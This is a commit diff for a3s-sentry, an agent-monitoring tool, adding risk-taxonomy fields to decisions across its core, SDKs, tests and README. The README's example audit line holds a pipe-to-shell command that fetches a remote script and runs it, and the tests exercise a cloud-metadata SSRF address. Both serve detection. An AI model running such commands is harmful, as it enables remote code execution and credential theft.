Skip to content

Commit f9a2f1d

Browse files
RoyLinRoyLin
authored andcommitted
feat: attach risk taxonomy to decisions
1 parent 9883ec1 commit f9a2f1d

13 files changed

Lines changed: 235 additions & 7 deletions

File tree

README.md

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,13 +79,20 @@ sudo a3s-observer-enforce /sys/fs/cgroup/<agent> egress-deny.txt
7979
sudo a3s-observer-fileguard exec-deny.txt
8080
```
8181

82+
Each `Decision` includes verdict, tier, severity, reason, optional enforcement action, and optional
83+
`risk` taxonomy (`category`, `name`, `risk_type`) for non-allow or unresolved-escalation findings.
84+
Downstream platforms such as AnySentry should consume this stable taxonomy instead of parsing the
85+
human-readable reason string.
86+
8287
Sentry emits one **decision audit** line (NDJSON) per non-allow on stdout; plain allows are counted,
8388
not printed, to keep the stream signal-dense:
8489

8590
```json
8691
{"agent":"py","event":"ToolExec","subject":"curl http://x/p.sh | bash",
8792
"decision":{"verdict":"block","tier":"Rules","severity":"high",
88-
"reason":"pipe-to-shell: remote payload piped to an interpreter","action":{"DenyExec":"curl"}}}
93+
"reason":"pipe-to-shell: remote payload piped to an interpreter",
94+
"risk":{"category":"command_danger","name":"Dangerous command execution","risk_type":"atomic"},
95+
"action":{"DenyExec":"curl"}}}
8996
```
9097

9198
Run **without** the LLM/agent env vars for rules-only (L1) mode, or with `A3S_SENTRY_DRY_RUN=1` to

sdk/python/src/lib.rs

Lines changed: 39 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
//! assert d.verdict == "block"
1212
//! ```
1313
14-
use ::a3s_sentry::verdict::{Decision as CoreDecision, EnforceAction as CoreAction, Severity, Tier, Verdict};
14+
use ::a3s_sentry::verdict::{Decision as CoreDecision, EnforceAction as CoreAction, RiskType as CoreRiskType, Severity, Tier, Verdict};
1515
use ::a3s_sentry::Sentry as CoreSentry;
1616
use pyo3::exceptions::PyValueError;
1717
use pyo3::prelude::*;
@@ -47,6 +47,26 @@ impl From<&CoreAction> for EnforceAction {
4747
}
4848
}
4949

50+
/// Stable risk taxonomy attached to a decision, e.g. category=`systemic_risk`,
51+
/// risk_type=`system`.
52+
#[pyclass(get_all)]
53+
#[derive(Clone)]
54+
struct RiskDescriptor {
55+
category: String,
56+
name: String,
57+
risk_type: String,
58+
}
59+
60+
#[pymethods]
61+
impl RiskDescriptor {
62+
fn __repr__(&self) -> String {
63+
format!(
64+
"RiskDescriptor(category={:?}, name={:?}, risk_type={:?})",
65+
self.category, self.name, self.risk_type
66+
)
67+
}
68+
}
69+
5070
/// One tier's conclusion about an event. `verdict` is `"allow"`/`"block"`/`"escalate"`, `tier` is
5171
/// `"Rules"`/`"Llm"`/`"Agent"`, `severity` is `"info"`..`"critical"`, and `action` is the concrete
5272
/// deny (or `None`).
@@ -58,20 +78,25 @@ struct Decision {
5878
severity: String,
5979
reason: String,
6080
action: Option<EnforceAction>,
81+
risk: Option<RiskDescriptor>,
6182
}
6283

6384
#[pymethods]
6485
impl Decision {
6586
fn __repr__(&self) -> String {
6687
format!(
67-
"Decision(verdict={:?}, tier={:?}, severity={:?}, reason={:?}, action={})",
88+
"Decision(verdict={:?}, tier={:?}, severity={:?}, reason={:?}, action={}, risk={})",
6889
self.verdict,
6990
self.tier,
7091
self.severity,
7192
self.reason,
7293
match &self.action {
7394
Some(a) => a.__repr__(),
7495
None => "None".to_string(),
96+
},
97+
match &self.risk {
98+
Some(r) => r.__repr__(),
99+
None => "None".to_string(),
75100
}
76101
)
77102
}
@@ -100,6 +125,7 @@ fn tier_str(t: Tier) -> &'static str {
100125
Tier::Rules => "Rules",
101126
Tier::Llm => "Llm",
102127
Tier::Agent => "Agent",
128+
Tier::Sae => "Sae",
103129
}
104130
}
105131

@@ -111,6 +137,16 @@ impl From<CoreDecision> for Decision {
111137
severity: severity_str(d.severity).to_string(),
112138
reason: d.reason,
113139
action: d.action.as_ref().map(EnforceAction::from),
140+
risk: d.risk.map(|r| RiskDescriptor {
141+
category: r.category,
142+
name: r.name,
143+
risk_type: match r.risk_type {
144+
CoreRiskType::System => "system",
145+
CoreRiskType::Communication => "communication",
146+
CoreRiskType::Atomic => "atomic",
147+
}
148+
.to_string(),
149+
}),
114150
}
115151
}
116152
}
@@ -207,6 +243,7 @@ fn a3s_sentry(m: &Bound<'_, PyModule>) -> PyResult<()> {
207243
m.add_class::<Sentry>()?;
208244
m.add_class::<Decision>()?;
209245
m.add_class::<EnforceAction>()?;
246+
m.add_class::<RiskDescriptor>()?;
210247
m.add_function(wrap_pyfunction!(tool_exec, m)?)?;
211248
m.add_function(wrap_pyfunction!(egress, m)?)?;
212249
m.add_function(wrap_pyfunction!(file_access, m)?)?;

sdk/python/tests/test_sentry.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,9 @@ def test_cloud_metadata_ssrf_blocks_with_deny_egress(self):
4848
self.assertIsNotNone(d.action)
4949
self.assertEqual(d.action.kind, "DenyEgress")
5050
self.assertEqual(d.action.target, "169.254.169.254")
51+
self.assertIsNotNone(d.risk)
52+
self.assertEqual(d.risk.category, "systemic_risk")
53+
self.assertEqual(d.risk.risk_type, "system")
5154

5255
def test_sdk_authored_rule_fires_at_rules_tier(self):
5356
d = self.sentry.evaluate(dns(1, "high.test"))
@@ -202,6 +205,7 @@ def test_repr_without_action_is_none(self):
202205
text = repr(d)
203206
self.assertIn("Decision(", text)
204207
self.assertIn("action=None", text)
208+
self.assertIn("risk=None", text)
205209

206210
def test_enforce_action_repr_directly(self):
207211
d = self.sentry.evaluate(egress(1, "169.254.169.254", 80))

sdk/typescript/src/lib.rs

Lines changed: 26 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,10 @@
44
//! judges an observer event in-process and returns a typed `Decision`. No daemon, no subprocess
55
//! (beyond what L3 itself spawns) — the same model as @a3s-lab/code.
66
7-
use a3s_sentry::{EnforceAction as CoreAction, Sentry as CoreSentry, Severity, Tier, Verdict};
7+
use a3s_sentry::{
8+
EnforceAction as CoreAction, RiskType as CoreRiskType, Sentry as CoreSentry, Severity, Tier,
9+
Verdict,
10+
};
811
use napi_derive::napi;
912

1013
#[napi(object)]
@@ -15,6 +18,16 @@ pub struct EnforceAction {
1518
pub target: String,
1619
}
1720

21+
#[napi(object)]
22+
pub struct RiskDescriptor {
23+
/// Stable taxonomy code, e.g. `systemic_risk` or `command_danger`.
24+
pub category: String,
25+
/// Human-readable label for operators.
26+
pub name: String,
27+
/// `system` | `communication` | `atomic`.
28+
pub risk_type: String,
29+
}
30+
1831
#[napi(object)]
1932
pub struct Decision {
2033
/// `allow` | `block` | `escalate`.
@@ -25,6 +38,7 @@ pub struct Decision {
2538
pub severity: String,
2639
pub reason: String,
2740
pub action: Option<EnforceAction>,
41+
pub risk: Option<RiskDescriptor>,
2842
}
2943

3044
#[napi(object)]
@@ -79,6 +93,7 @@ fn to_decision(d: a3s_sentry::Decision) -> Decision {
7993
Tier::Rules => "Rules",
8094
Tier::Llm => "Llm",
8195
Tier::Agent => "Agent",
96+
Tier::Sae => "Sae",
8297
};
8398
let severity = match d.severity {
8499
Severity::Info => "info",
@@ -103,6 +118,16 @@ fn to_decision(d: a3s_sentry::Decision) -> Decision {
103118
target,
104119
}
105120
}),
121+
risk: d.risk.map(|r| RiskDescriptor {
122+
category: r.category,
123+
name: r.name,
124+
risk_type: match r.risk_type {
125+
CoreRiskType::System => "system",
126+
CoreRiskType::Communication => "communication",
127+
CoreRiskType::Atomic => "atomic",
128+
}
129+
.to_string(),
130+
}),
106131
}
107132
}
108133

sdk/typescript/test/sdk.test.mjs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,8 @@ test("create + built-in cloud-metadata SSRF blocks (DenyEgress)", () => {
3030
const d = s.evaluate(egress(1, "169.254.169.254", 80));
3131
assert.equal(d.verdict, "block");
3232
assert.deepEqual(d.action, { kind: "DenyEgress", target: "169.254.169.254" });
33+
assert.equal(d.risk.category, "systemic_risk");
34+
assert.equal(d.risk.riskType ?? d.risk.risk_type, "system");
3335
});
3436

3537
test("SDK-authored ACL rule fires at tier=Rules", () => {

src/agent.rs

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -173,6 +173,7 @@ impl Judge for AgentJudge {
173173
if v.verdict.eq_ignore_ascii_case("block") {
174174
Decision::block(Tier::Agent, severity, reason)
175175
.with_action(ev.event.natural_deny())
176+
.with_inferred_risk(ev.event.name())
176177
} else {
177178
Decision::allow(Tier::Agent, reason)
178179
}
@@ -197,6 +198,9 @@ impl Judge for AgentJudge {
197198
} else {
198199
None
199200
},
201+
risk: (verdict == Verdict::Block).then(|| {
202+
crate::verdict::RiskDescriptor::infer(ev.event.name(), "L3 unavailable")
203+
}),
200204
explain: None,
201205
}
202206
}

src/event.rs

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -217,6 +217,12 @@ mod tests {
217217
assert!(ObservedEvent::parse(line).is_none());
218218
}
219219

220+
#[test]
221+
fn collector_heartbeat_is_control_plane_not_judged() {
222+
let line = r#"{"identity":{},"provider":null,"event":{"CollectorHeartbeat":{"collector_id":"node-a","version":"0.11.0","mode":"observe","attached_probes":18,"enabled_features":["exec"],"interval_secs":60,"exec":1,"exit":0,"egress":0,"dns":0,"file":0,"llm":0,"ssl":0,"sec":0,"dropped":0,"output_dropped":0}}}"#;
223+
assert!(ObservedEvent::parse(line).is_none());
224+
}
225+
220226
#[test]
221227
fn rejects_non_json_and_blank() {
222228
assert!(ObservedEvent::parse("").is_none());

src/lib.rs

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,4 +41,6 @@ pub use pipeline::{Judge, Pipeline};
4141
pub use rules::{default_rules, LiveRules, RuleEngine, RuleSpec};
4242
pub use sae::{FeatureDict, FeatureLabel, SaeJudge};
4343
pub use sdk::Sentry;
44-
pub use verdict::{Decision, Driver, EnforceAction, SaeScore, Severity, Tier, Verdict};
44+
pub use verdict::{
45+
Decision, Driver, EnforceAction, RiskDescriptor, RiskType, SaeScore, Severity, Tier, Verdict,
46+
};

src/llm.rs

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -109,6 +109,7 @@ impl Judge for LlmJudge {
109109
// Defer rather than guess: a flaky endpoint must not become a silent allow.
110110
Err(e) => {
111111
Decision::escalate(Tier::Llm, Severity::Medium, format!("L2 unavailable: {e}"))
112+
.with_inferred_risk(ev.event.name())
112113
}
113114
}
114115
}
@@ -132,10 +133,12 @@ impl LlmVerdict {
132133
let severity = parse_severity(&self.severity);
133134
let reason = format!("L2: {}", self.reason);
134135
if self.verdict.eq_ignore_ascii_case("block") {
135-
Decision::block(Tier::Llm, severity, reason).with_action(ev.event.natural_deny())
136+
Decision::block(Tier::Llm, severity, reason)
137+
.with_action(ev.event.natural_deny())
138+
.with_inferred_risk(ev.event.name())
136139
} else if self.verdict.eq_ignore_ascii_case("escalate") {
137140
// L2 is unsure → hand off to the L3 deep investigator (or fail-mode if no L3).
138-
Decision::escalate(Tier::Llm, severity, reason)
141+
Decision::escalate(Tier::Llm, severity, reason).with_inferred_risk(ev.event.name())
139142
} else {
140143
Decision::allow(Tier::Llm, reason)
141144
}

src/pipeline.rs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -221,6 +221,7 @@ impl Pipeline {
221221
} else {
222222
None
223223
},
224+
risk: d.risk,
224225
explain: None,
225226
}
226227
}
@@ -257,6 +258,7 @@ mod tests {
257258
severity: self.2,
258259
reason: "x".into(),
259260
action: None,
261+
risk: None,
260262
explain: None,
261263
}
262264
}

0 commit comments

Comments
 (0)